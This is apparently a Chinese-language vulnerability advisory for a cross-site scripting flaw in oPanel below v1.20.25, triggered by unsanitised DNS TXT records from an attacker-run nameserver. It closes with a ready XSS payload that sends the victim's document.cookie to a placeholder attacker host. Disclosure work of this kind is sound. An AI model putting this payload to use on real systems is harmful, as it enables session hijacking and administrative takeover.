oPanel(版本低于 v1.20.25)中存在一个跨站脚本(XSS)漏洞,原因是其对 DNS 响应的处理与净化不当。当面板执行 DNS 查询(例如获取域名信息、检查 DNS 传播或查询 TXT 记录)通向攻击者控制的域名服务器时,会将返回的 DNS 记录直接反映到 Web 界面中,且未进行充分的 HTML 编码。
攻击者可以通过配置一个恶意 DNS 服务器,使其对 TXT 记录查询返回恶意 JavaScript 有效载荷来利用此漏洞。当经过身份验证的 oPanel 用户(如管理员)查看显示 DNS 响应的页面时,该有效载荷会在其浏览器会话的上下文中执行。
成功利用该漏洞可允许攻击者在受害者浏览器中执行任意 JavaScript。正如概念验证所展示的,这可用于窃取敏感的身份验证 cookies(document.cookie),从而导致完全会话劫持及对 oPanel 环境的未授权管理访问。
利用此漏洞需要攻击者设置一个恶意 DNS 服务器和一个 HTTP 监听器来捕获被泄露的数据。
攻击者运行一个在 UDP 53 端口上的恶意 DNS 服务器,该服务器配置为对任何 TXT 查询返回包含 XSS 有效载荷的响应。
恶意 TXT 记录有效载荷:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>